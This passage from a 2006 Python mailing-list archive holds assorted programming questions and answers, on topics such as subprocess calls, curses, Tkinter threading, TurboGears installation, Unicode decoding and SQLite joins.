	<ehpkqk$hs8$1@news.lrz-muenchen.de> <umz7j4jdu.fsf@sbcglobal.net>
	<ehptv2$n5r$1@news.lrz-muenchen.de>
Message-ID: <ehq5b2$flb$1@cernne03.cern.ch>

Sebastian Busch wrote:
> The task is:
> 
> "Remove the first two lines that don't begin with "@" from a file."

awk 'BEGIN {c = 0} c < 2 && !/^@/ {c += 1; next} {print}' < mybeautifulfile

-- 
Roberto Bonvallet


From __peter__ at web.de  Thu Oct 26 03:18:17 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 26 Oct 2006 09:18:17 +0200
Subject: Can any one help with solving this program it just doesnt take
	probability of the second team
References: <1161845731.501326.46510@h48g2000cwc.googlegroups.com>
Message-ID: <ehpnb9$r04$01$1@news.t-online.com>

Arun Nair wrote:

> ''' Can anyone help me with this program it just takes probability of
> the first team and runs the program doesnt takes the probability of the
> second team even though specified'''

> def simGame(probA, probB):
>     scoreA = 0
>     scoreB = 0
>     serving = "A"
>     while not gameOver(scoreA, scoreB):
>         if serving == "A":
>             if random() < probA:
>                 scoreA = scoreA + 1
>             else:
>                 serving == "B"

Hint: this is not an assignment.

>         else:
>             if random() < probB:
>                 scoreB = scoreB + 1
>             else:
>                 serving == "A"

Same thing.

>     return scoreA, scoreB

Peter



From exhuma at gmail.com  Thu Oct 19 09:46:43 2006
From: exhuma at gmail.com (exhuma.twn)
Date: 19 Oct 2006 06:46:43 -0700
Subject: What happened to RuleDispatch
In-Reply-To: <1161265458.878033.121690@m7g2000cwm.googlegroups.com>
References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>
	<1161204102.346021.154750@f16g2000cwb.googlegroups.com>
	<1161265458.878033.121690@m7g2000cwm.googlegroups.com>
Message-ID: <1161265603.275979.51220@e3g2000cwe.googlegroups.com>



On Oct 19, 3:44 pm, "exhuma.twn" <exh... at gmail.com> wrote:
> On Oct 18, 10:41 pm, "Adam Jones" <ajon... at gmail.com> wrote:
>
>
>
> > exhuma.twn wrote:
> > > Hi all,
>
> > > yesterday I wanted to install TurboGears, which depends on
> > >RuleDispatch. However, I failed to download it. First I got the error
> > > "Bad Gateway" from the server, today it's simply a "Not Found" error.
> > > So what happened to it? Does somebody know?
>
> > > I would really need to install TurboGears in the next couple of days.
> > > So if someone knows where I can find a mirror ofRuleDispatchI would
> > > be very grateful.The required files for TG are mirrored on the turbogears.org download
> > page. You should be able to get an installation by looking up the files
> > there. Try this command:
>
> > easy_install -fhttp://www.turbogears.org/download/index.html
> > TurboGears
>
> > That is actually the recommended way to install TurboGears, as it is
> > not always compatible with the latest version of the components.
>
> > -AdamHmmm... this is wat I get:
>
> Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg
> Processing dependencies for TurboGears
> Searching forRuleDispatch
> Readinghttp://www.turbogears.org/download/index.html
> Best match:RuleDispatch0.5a0.dev-r2115
> Downloadinghttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz
> error: Can't downloadhttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz:
> 502 Bad Gateway
>
> Could this be a local issue?

Forgot to say I also tried to download it via the web-browser. This
gave me the following error (generated by the proxy I have to use):

"Server response could not be decoded using encoding type returned by
server.
This is typically caused by a Web Site presenting a content encoding
header of one type, and then encoding the data differently."



From fredrik at pythonware.com  Thu Oct 26 07:55:12 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 13:55:12 +0200
Subject: problem using subprocess.call
References: <ehq6k0$1pcf$1@pandora.alkar.net>
Message-ID: <ehq7n0$h67$1@sea.gmane.org>

Alex Kachanov wrote:

> running py module with the following code from shell:
> __
>    dir=os.path.join(os.path.expanduser("~/domains/domain.com/html"),'test')
>    subprocess.call(['find',dir+" -name '*.zip' -execdir unzip {} \;"])

    subprocess.call(["find", dir, "-name", "*.zip", "-execdir", "unzip", "{}", ";"])

</F> 





From me at privacy.net  Sat Oct  7 14:57:51 2006
From: me at privacy.net (Simon Morgan)
Date: 07 Oct 2006 18:57:51 GMT
Subject: curses problem reading cursor keys
References: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk> 
Message-ID: <4527f8af$0$1377$da0feed9@news.zen.co.uk>

On Sat, 07 Oct 2006 13:12:33 +0000, Simon Morgan wrote:

> import curses
> 
> def main(scr):
>     status = curses.newwin(1, curses.COLS, 0, 0) status.bkgd('0')
>     status.refresh()
> 
>     list = curses.newwin(curses.LINES, curses.COLS, 1, 0) list.bkgd('X')
>     list.refresh()

If I use scr.subwin() instead of curses.newwin()...

>     y = 0
>     while True:
>         c = list.getch()

and scr.getch() instead of list.getch(), things seem to work. I'd still
really like to know what's going on though.

>         if c in (curses.KEY_UP, curses.KEY_DOWN, ord('z')):
>             list.addstr("Match!")
>         elif c == ord('q'):
>             break
> 
> curses.wrapper(main)


From mrquantum at holon.at  Wed Oct  4 06:11:29 2006
From: mrquantum at holon.at (mrquantum)
Date: Wed, 04 Oct 2006 12:11:29 +0200
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
	<mailman.1248.1159956262.10491.python-list@python.org>
Message-ID: <636bd$452388d1$506d0b9f$12642@news.chello.at>

Am Wed, 04 Oct 2006 12:03:41 +0200 schrieb Fredrik Lundh:

> 
> really?  iter("SomeString") works just fine for me.
> 

Hmm, right!

But then why doesn't dir('SomeString') show an __iter__ method? Seems to
be implmented differently than with e.g. lists? Know why?


From jstroud at mbi.ucla.edu  Fri Oct  6 23:41:11 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sat, 07 Oct 2006 03:41:11 GMT
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <FZEVg.9629$vJ2.248@newssvr12.news.prodigy.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
	<pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>
	<1160178799.914895.28100@k70g2000cwa.googlegroups.com>
	<1160180341.136179.176690@b28g2000cwb.googlegroups.com>
	<FZEVg.9629$vJ2.248@newssvr12.news.prodigy.com>
Message-ID: <rlFVg.9631$vJ2.6350@newssvr12.news.prodigy.com>

James Stroud wrote:
> sam wrote:
> 
>> this does what i want, though i don't like the inner while loop having
>> to be there
[snip]
> A little cleaner. Now, lets tighten it up a bit more, and put nested 
> loops into functions. Im getting rid of keeping track of the running 
> total, that will clean a lot. I'm also going to be a little more 
> mathematically saavy.
> 
> def get_pct():
>   while True:
>     pct_list = ['cash', 'bond', 'blue', 'tech', 'dev']
>     pct_dict = get_pct_dict(pct_list)
>     total = sum(pct_dict.values())
>     if (total < 99.999) or (total > 100.001):
>       print "You've messed up, do it again"
>     else:
>       return pct_dict()
> 
> def get_pct_dict(pct_list):
>   pct_dict = {}
>   for a_pct in pct_list:
>     pct_dict[a_pct] = get_one_pct_value(a_pct)
>   return pct_dict()
> 
> def get_one_pct_value(a_pct):
>   msg = 'Please enter the percentage value for %s: '
>   while True:
>     try:
>        return float(msg % a_pct)
>     except ValueError:
>        print "You messed up, try again."
> 
> Now, all testing is done at the point where it is needed. There are no 
> running totals that could cause accounting errors, your final data 
> structure is an easy to use dict, unecessary tests have been eliminated, 
> loops have been de-nested visually and logically, and, most importantly, 
> the indentation level is kept manageable.
> 
> I think you will be able to see how this latter code evolved from yours. 
>  I used to program just like you and it has taken me a few years to 
> develop these little rules for tightening my code.
> 
> James
> 

Of course I see room for improvement in my own code.

Personally, I like to remove "values" from logic because it results, 
naturally, in more versatile functions. So I would redo my get_pct() 
method to take the list as a parameter:


def get_pct(pct_list):
   while True:
     pct_dict = get_pct_dict(pct_list)
     total = sum(pct_dict.values())
     if (total < 99.999) or (total > 100.001):
       print "You've messed up, do it again"
     else:
       return pct_dict()


Now, its a much more versatile piece of code, e.g.:


pct_list = ['cash', 'bond', 'blue', 'tech', 'dev']
pct_dict = get_pct(pct_list)


And now all of your code boils down to these latter 2 statments.

You might want to think about what you would do to pass the total 
criterion is as a parameter rather than hard coding it. Hint:

def get_pct(pct_list, criterion, slack):
   [you fill in here]
   if (total < (criterion - slack)) or {total > (criterion + slack)):
   [you fill in more here]

Now, no values are hard-coded but are passed in as parameters. Perhaps 
"msg" in get_one_pct_value() could be treated the same way to produce 
yet more flexibility and hence re-usability.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From rschroev_nospam_ml at fastmail.fm  Fri Oct 13 04:25:11 2006
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Fri, 13 Oct 2006 08:25:11 GMT
Subject: Using SVN with Python and .pyc files
In-Reply-To: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
References: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
Message-ID: <H3IXg.126604$kC4.2319388@phobos.telenet-ops.be>

James Stroud schreef:
> I have been moving to managing a lot of my code with SVN and I have 
> found it to work extremely well. However, I'm not exactly sure how to 
> deal with all of the .pyc files that get created every time I test a 
> project or package. How do people manage this? Do you run a script to 
> find files with the .pyc extension and delete those before every commit, 
> or is there a more elegant way? It seems like a lot of wasted bandwidth 
> an memory on the server side to constantly be dealing with these files 
> that contain no real information.

You can instruct SVN to ignore the *.pyc files. What you need to do that 
is the svn:ignore property on the directory containing the files, IIRC. 
Check the docs for details. The online book at 
http://svnbook.red-bean.com/ should tell you all you need. Look 
especially at 
http://svnbook.red-bean.com/nightly/en/svn.advanced.props.html#svn.advanced.props.special.ignore


-- 
If I have been able to see further, it was only because I stood
on the shoulders of giants.  -- Isaac Newton

Roel Schroeven


From judasi at gmail.com  Mon Oct 30 09:50:33 2006
From: judasi at gmail.com (judasi at gmail.com)
Date: 30 Oct 2006 06:50:33 -0800
Subject: Compile Python With SSL On Solaris 10
Message-ID: <1162219833.769046.64960@m73g2000cwd.googlegroups.com>

Hi,

I am trying to compile py2.4.3/2.5 on a Solaris 10x86 machine, but
cannot get it to build an SSL enabled version.  I have added the
relevant sfw directories into the path/crle, with no success.  I've
even explicitly added ssl via the --with-libs directive, yet an import
_ssl still fails.

Has anyone else come across this?

Thanks

John



From donn at u.washington.edu  Wed Oct 25 18:59:31 2006
From: donn at u.washington.edu (Donn Cave)
Date: Wed, 25 Oct 2006 15:59:31 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
Message-ID: <donn-4380C3.15593125102006@gnus01.u.washington.edu>

In article <1161812827.596356.316450 at f16g2000cwb.googlegroups.com>,
 "John Coleman" <jcoleman at franciscan.edu> wrote:

> Very good point, though one could argue perhaps that when one is
> comparing an object with a truth value then one is implicitly asking
> for the truth value of that object

On the contrary -- since there is normally no need to ever
compare an object with a truth value, then I would interpret
this usage as an attempt to distinguish True or False from
other objects in general.  Some kind of placeholders for
missing values, who knows.  I'm not saying it's a great idea,
but it could work in recent versions of Python.

> This would make code like 'if s: ' equivalent
> to 'if s == True:' with a possible gain in readability. But - as you
> demonstrate the cost of that (minimal) gain in readability would be too
> high. In any event - I think it is mostly bad style to use a
> non-boolean variable in 'if s:' - it reminds me too much of obscure C
> code (though others might disagree).

Others will indeed disagree.  I don't think you'll find
much support for this position.  But it's not as bad as
your notion that "if s == True", where s is not a boolean
object, might represent a gain in readability.  That really
redefines readability.

   Donn Cave, donn at u.washington.edu


From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Mon Oct  9 08:20:31 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Mon, 09 Oct 2006 14:20:31 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
Message-ID: <4out4fFgdgouU1@individual.net>

erikcw wrote:

> DiveIntoPython.org was the first book I read on python, and I
> really
> got a lot out of it.  I need to start learning Java (to maintain a
> project I've inherited), and was wondering if anyone knew of any
> similar books for Java?

Perhaps a bit of a rant, but learn Python and C++, take the worst of
both, make it a language and you have Java ... ;)

Regards,


Bj?rn

-- 
BOFH excuse #271:

The kernel license has expired



From NoelByron at gmx.net  Thu Oct 19 06:12:44 2006
From: NoelByron at gmx.net (NoelByron at gmx.net)
Date: 19 Oct 2006 03:12:44 -0700
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
In-Reply-To: <Xns98616CE973980duncanbooth@127.0.0.1>
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
Message-ID: <1161252764.244873.134740@f16g2000cwb.googlegroups.com>

Duncan Booth wrote:
> NoelByron at gmx.net wrote:
>
> > 'K\xc3\xb6ni'.decode('utf-8')     # 'K\xc3\xb6ni' should be 'K?nig',
> > contains a german 'umlaut'
> >
> > but failed since python assumes every string to decode to be ASCII?
>
> No, Python would assume the string to be utf-8 encoded in this case:
>
> >>> 'K\xc3\xb6ni'.decode('utf-8').encode('latin1')
> 'K\xf6ni'
>
> Your code must have failed somewhere else. Try posting actual failing code
> and actual traceback.

You are right. My test code was:

print 'K\xc3\xb6ni'.decode('utf-8')

and this line raised a UnicodeDecode exception. I didn't realize that
the exception was actually raised by print and thought it was the
decode. That explains the fact that a 'ignore' in the decode showed no
effect at all, too.

Thank you for helping!

Best regards,
Noel



From jcd at sdf.lonestar.org  Wed Oct 25 12:54:22 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Wed, 25 Oct 2006 10:54:22 -0600
Subject: Simple python + html + from --> to python script
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
	<mailman.1111.1161722642.11739.python-list@python.org>
	<1161724741.888254.321030@m73g2000cwd.googlegroups.com>
	<ehm0k8$r37$1@aioe.server.aioe.org>
	<1161725870.633545.31800@f16g2000cwb.googlegroups.com>
Message-ID: <eho4rq$pj3$1@aioe.server.aioe.org>

Good point.  I forget sometimes, because that's how I learned, but I 
came in with some background in other scripting languages, so I guess I 
knew what I was looking for.

Thanks.

Cliff

flit wrote:
> Sorry but for a totally newbie the lib doccumentation doesnt help..
> The target audience for the docs are for "grown ups" programmers..
> I think I will do some tutorial, in baby steps...
> 
> J. Clifford Dyer wrote:
>> A good starting place would be the documentation on python.org.
>>
>> In this case, the python library reference would have been helpful:
>>
>> http://docs.python.org/lib/lib.html
>>
>> Cheers,
>> Cliff


From hanumizzle at gmail.com  Tue Oct 10 00:11:11 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 00:11:11 -0400
Subject: problem with split
In-Reply-To: <452a6b9f$0$22844$426a74cc@news.free.fr>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
	<452a6b9f$0$22844$426a74cc@news.free.fr>
Message-ID: <463ff4860610092111l3f230817xf5b9dd5045e5d03d@mail.gmail.com>

On 10/9/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
> hanumizzle wrote:
> (snip)
> > Regexes are usually passed as literals directly to re.compile().
>
> For which definition of "usually" ?

>From definition of personal experience: all of the code I've written
or seen that used small regexes in such a context as this wrote them
out literally. Putting such a short string, used only once, in
variable form seems a little verbose unless you have reuse in mind.

IOW, when doing simple arithmetic on paper in an informal context, you
"usually" don't assign the operands to variables before performing the
operations in question.

-- Theerasak


From martin at v.loewis.de  Sun Oct 15 10:39:19 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 15 Oct 2006 16:39:19 +0200
Subject: Cannot force configure/setup.py to pick up location of readline
	(SFWrline) on Solaris 10
In-Reply-To: <mailman.541.1160921614.11739.python-list@python.org>
References: <ego1sl$18p$1@sea.gmane.org>
	<mailman.541.1160921614.11739.python-list@python.org>
Message-ID: <45324818$0$22621$9b622d9e@news.freenet.de>

Chris Miles schrieb:
> I hope this process can be improved, and if I have time I'll look at why
> make fails half way but works fine when kicked off a second time.

You need to use GNU make for that to work. The build regenerates the
makefile, but Sun make doesn't recognize the change. There was a message
telling you so.

GNU make will see that the makefile was rebuilt, and re-read it before
proceeding.

> I'd like to get /opt/sfw/ added to the standard lib/include path for
> Solaris (10 at least) as this is where Sun's open-source packages get
> installed.  Is this just a matter of raising a ticket?

Not easily - resolving this might take months or years. If you provide
a well-engineered patch, chances that Python changes are much higher.

Also, your original complaint wasn't that readline isn't considered,
but that setup.py didn't find it even though configure did. A patch
fixing that has a higher chance of being accepted than a patch adding
/opt/sfw to the standard search path (which is really a decision
Sun should take, not the Python maintainers - in absence of a Sun
change, it's then the local administrator who decides).

Regards,
Martin


From steve at holdenweb.com  Thu Oct  5 06:40:49 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 11:40:49 +0100
Subject: Python/Tkinter crash.
In-Reply-To: <008601c6e865$1104b560$03000080@hendrik>
References: <mailman.1242.1159951684.10491.python-list@python.org>	<op.tgwml9x1rqur0o@eb.pragmadev>	<mailman.1279.1159985794.10491.python-list@python.org><op.tgxs4cobrqur0o@eb.pragmadev>	<eg2c11$rmk$1@sea.gmane.org>
	<008601c6e865$1104b560$03000080@hendrik>
Message-ID: <eg2ndt$sa$1@sea.gmane.org>

Hendrik van Rooyen wrote:
> "Fredrik Lundh" <fredrik at pythonware.com> wrote:
> 
>>Eric Brunel wrote:
>>
>>
>>>AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize
>>>the calls from different threads may seem to work (I never tested it
>>>actually), but the safest way I found to use threads with Tkinter was to
>>>call it only from the thread where the main loop executes.
>>
>>the Tkinter binding contains some code that attempts to deal with re-
>>entrant calls, but I don't know/remember to what extent it's actually
>>supposed to work (in other words, if the observed problems are bugs or
>>just limitations).
>>
>>(maybe Martin's memory is better?)
>>
>>anyway, I usually play it safe and make sure to use a single thread to
>>deal with the UI.
>>
>></F>
> 
> 
> I must be dense - After I have called mainloop, if I have not started another
> thread to respond to events that are not generated by the user on the screen (in
> this case values of variables to display from the field generated by different
> processes - there is other hardware out there), how do I get control back to do
> the necessary updating? - I suppose I can use the call back after some time
> thingy to implement a polling loop - possibly as Russel Owen suggested - by
> polling a queue - but queues are for between threads - and I have seen here
> somewhere that sockets also want to be the main thread  - so that leaves a
> pipe - and I have had bad experiences with pipes that are unblocked, and if I
> don't unblock it, then the gui will grind to a halt....so I need a thread for
> the pipe between processes, and a queue between threads, and a time out based
> polling loop to read the queue, it seems - is it even safe to change a main loop
> variable from another thread? , or should I do it all via commands through a
> queue, implementing a whole goddam serial protocol just between threads?  and If
> I don't have another thread to do the timing for the animation bits, then I must
> base that on a timed callback too, and somehow keep state between callbacks...
> now is it ok to call widget command methods from a callback in the same thread,
> or do I have to use invoke?
> 
> My head is beginning to hurt... - what was a nice simple threaded implementation
> is turning into a spaghetti monster of timed callbacks - you thought gotos was
> bad? - you aint seen nothing yet...
> 
See if this helps:

     http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965

It's Jacob Hallen's description of how he solved the problem.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From richardjones at optushome.com.au  Thu Oct  5 19:30:30 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Fri, 06 Oct 2006 09:30:30 +1000
Subject: ctypes and setjmp
Message-ID: <45259596$0$32011$afc38c87@news.optusnet.com.au>

Currently ctypes can't play well with any C code that requires use of setjmp
as part of its API.

libpng is one of those libraries.

Can anyone think of a reasonable solution to this? Perhaps ctypes might be
patched to offer setjmp support in foreign function definitions?


    Richard



From fredrik at pythonware.com  Mon Oct 23 07:54:44 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 13:54:44 +0200
Subject: Customize the effect of enumerate()?
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com><1161557776.637735.92650@k70g2000cwa.googlegroups.com>
	<1161603820.012427.121630@m73g2000cwd.googlegroups.com>
Message-ID: <ehiai5$h9s$1@sea.gmane.org>

"Dustan" wrote:

> Except that my program is supposed to be treated as a module with tools
> to do certain things. I certainly can't control whether a 3rd party
> programmer uses "import myModule" or "from myModule import *".

anything can happen if people use "from import *" in the wrong way, so that's
not much of an argument, really.

</F> 





From exhuma at gmail.com  Thu Oct 19 09:44:19 2006
From: exhuma at gmail.com (exhuma.twn)
Date: 19 Oct 2006 06:44:19 -0700
Subject: What happened to RuleDispatch
In-Reply-To: <1161204102.346021.154750@f16g2000cwb.googlegroups.com>
References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>
	<1161204102.346021.154750@f16g2000cwb.googlegroups.com>
Message-ID: <1161265458.878033.121690@m7g2000cwm.googlegroups.com>



On Oct 18, 10:41 pm, "Adam Jones" <ajon... at gmail.com> wrote:
> exhuma.twn wrote:
> > Hi all,
>
> > yesterday I wanted to install TurboGears, which depends on
> >RuleDispatch. However, I failed to download it. First I got the error
> > "Bad Gateway" from the server, today it's simply a "Not Found" error.
> > So what happened to it? Does somebody know?
>
> > I would really need to install TurboGears in the next couple of days.
> > So if someone knows where I can find a mirror ofRuleDispatchI would
> > be very grateful.The required files for TG are mirrored on the turbogears.org download
> page. You should be able to get an installation by looking up the files
> there. Try this command:
>
> easy_install -fhttp://www.turbogears.org/download/index.html
> TurboGears
>
> That is actually the recommended way to install TurboGears, as it is
> not always compatible with the latest version of the components.
>
> -Adam

Hmmm... this is wat I get:

Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg
Processing dependencies for TurboGears
Searching for RuleDispatch
Reading http://www.turbogears.org/download/index.html
Best match: RuleDispatch 0.5a0.dev-r2115
Downloading
http://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz
error: Can't download
http://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz:
502 Bad Gateway


Could this be a local issue?



From mensanator at aol.com  Fri Oct 20 18:32:12 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 20 Oct 2006 15:32:12 -0700
Subject: proper format for this database table
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>
	<4t5_g.121$1n3.3067@news.tufts.edu>
	<mailman.851.1161358338.11739.python-list@python.org>
	<qD7_g.124$1n3.3420@news.tufts.edu>
	<1161367645.430191.289290@k70g2000cwa.googlegroups.com>
	<Eg9_g.130$1n3.3113@news.tufts.edu>
	<1161377313.064997.87030@b28g2000cwb.googlegroups.com>
Message-ID: <1161383531.969842.15950@m7g2000cwm.googlegroups.com>


mensanator at aol.com wrote:
> John Salerno wrote:
> > mensanator at aol.com wrote:
> >
> > > [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned]
> > > 5      1     U of I       1971        1975      BS
> > > 6      1     U of I       1975        1976      MS
> > > 7      1     U of I       1976        1977      PhD
> > >
> > > where [Eid] is the primary key of the Education table and
> > > [Sid] is the foreign key from the Student table so that the
> > > single student record (1) links to three education records
> > > (5,6,7).
> > >
> >
> > Hmmm. I think I'm lost. My table will have a key that represents the
> > persons ID, in my case it would be salerjo01. This will be what ties
> > this table to that person. Can I repeat this key multiple times in the
> > Education table?
>
> Yes, because it would be a foreign key.
>
> Perhaps a simple example might help:
>
> import sqlite3
>
> con = sqlite3.connect(":memory:")
> cur = con.cursor()
>
> # in the [person] table, [personid] is the primary key
> # but in the [education] table, it's a foreign key
> # I deliberately didn't make them AUTOINCREMENT to
> # simplify the example
> cur.executescript("""
>     create table person(
>         personid PRIMARY KEY,
>         firstname,
>         lastname
>     );
>
>     create table education(
>         educationid PRIMARY KEY,
>         personid,
>         institution,
>         yearStart,
>         yearEnd,
>         degreeEarned
>     );
>     """)
>
> persons = [(1,'Tom','Smith'), \
>            (2,'Dick','Smith'), \
>            (3,'Harry','Smith')]
>
> degrees = [(1,1,'University of Illinois',1971,1975,'BS'), \
>            (2,1,'University of Illinois',1975,1976,'MS'), \
>            (3,1,'University of Illinois',1976,1977,'PhD'), \
>            (4,2,'University of Illinois',1971,1974,None), \
>            (5,2,'DeVry Institute of Technology',1974,1976,'ASEET')]
>
> cur.executemany("""
> INSERT INTO person(personid,
>                    firstname,
>                    lastname)
> VALUES      (?,?,?)"""
> , persons)
>
> cur.executemany("""
> INSERT INTO education(educationid,
>                       personid,
>                       institution,
>                       yearStart,
>                       yearEnd,
>                       degreeEarned)
> VALUES      (?,?,?,?,?,?)"""
> , degrees)
>
>
> # Note: since both tables have a field named [personid],
> #       the table name must be included when referencing
> #       that field
> cur.execute("""
> SELECT      firstname,
>             lastname,
>             institution,
>             yearStart,
>             yearEnd,
>             degreeEarned
> FROM        education
> INNER JOIN  person
> ON          person.personid = education.personid
> ORDER BY    education.personid;
> """)
>
> report = cur.fetchall()
>
>
> for i in report:
>     print '%5s %-5s %-30s  %d-%d  %-6s' % (i)
>
> ##  Tom Smith University of Illinois          1971-1975  BS
> ##  Tom Smith University of Illinois          1975-1976  MS
> ##  Tom Smith University of Illinois          1976-1977  PhD
> ## Dick Smith University of Illinois          1971-1974  None
> ## Dick Smith DeVry Institute of Technology   1974-1976  ASEET
>
> ## Note that the third person, Harry Smith, doesn't show up
> ## in the report.
> ## That's because no education records were created for him.
> ## When you do an INNER JOIN between two tables, the linking field,
> ## [personid] must exist in both tables.

If you actually DO want to see Harry Smith listed in the
report even though he has no education, you would change
the INNER JOIN to a RIGHT JOIN. But sqlite3 doesn't
support RIGHT JOIN, only LEFT JOIN. So we just have
to change the direction of the JOIN. Instead of from
education to person, make it it from person to
education and then we can use LEFT JOIN. And it might
be a good idea to sort on person.personid since
education.personid will be null if there is no matching
record.

The modified query becomes:

cur.execute("""
SELECT      firstname,
            lastname,
            institution,
            yearStart,
            yearEnd,
            degreeEarned
FROM        person
LEFT JOIN   education
ON          person.personid = education.personid
ORDER BY    person.personid;
""")

And I had to change the print statement since nulls
(which translate to None) crash the %d. With that
change we now can see ALL the people and note
that Harry is uneducated.

  Tom Smith University of Illinois          1971-1975  BS
  Tom Smith University of Illinois          1975-1976  MS
  Tom Smith University of Illinois          1976-1977  PhD
 Dick Smith University of Illinois          1971-1974  None
 Dick Smith DeVry Institute of Technology   1974-1976  ASEET
Harry Smith None                            None-None  None



From jgodoy at gmail.com  Tue Oct 10 07:06:50 2006
From: jgodoy at gmail.com (Jorge Godoy)
Date: Tue, 10 Oct 2006 08:06:50 -0300
Subject: People's names
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.192.1160473572.11739.python-list@python.org>
Message-ID: <87lknol99x.fsf@gmail.com>

"Theerasak Photha" <hanumizzle at gmail.com> writes:

> Also 'da' for Portuguese, which means roughly same as
> Nederlands/Vlaams. Maybe. As usual: IANAE.

It looks like the same but at least here in Brasil it isn't considered for
sorting ("da Silva" should be sorted under "Silva", "de Souza" under "Souza",
"de Melo" under "Melo" and so on) and it is even stripped in some cases.


-- 
Jorge Godoy      <jgodoy at gmail.com>


From jstroud at mbi.ucla.edu  Sun Oct 29 19:25:23 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 30 Oct 2006 00:25:23 GMT
Subject: enumerate improvement proposal
In-Reply-To: <mailman.1437.1162125524.11739.python-list@python.org>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
Message-ID: <TDb1h.17175$GR.940@newssvr29.news.prodigy.net>

Fredrik Lundh wrote:
> James Stroud wrote:
> 
>> The code is for an economist. She is insistent on starting with the 
>> first bin as 1.
> 
> 
> leaky abstractions in reverse, in other words?  that's not a good design 
> approach.
> 
> </F>
> 

Okay, I've googled "leaky abstractions" (as was probably your intended
affect with your silence), read the famous essay, and still
don't know what you mean and how it applies to what I have described.

Do you plan to justify your statement or emptily accuse people of violating
esoteric principles?

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From fredrik at pythonware.com  Wed Oct 18 04:24:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 10:24:35 +0200
Subject: python's OOP question
In-Reply-To: <1161159369.957887.285370@m73g2000cwd.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>	<mailman.550.1160965386.11739.python-list@python.org>	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>	<mailman.551.1160968738.11739.python-list@python.org>	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>	<45334fa9$0$5656$426a74cc@news.free.fr>	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>	<453382b6$0$8601$426a74cc@news.free.fr>	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>	<4534a656$0$19612$426a74cc@news.free.fr>
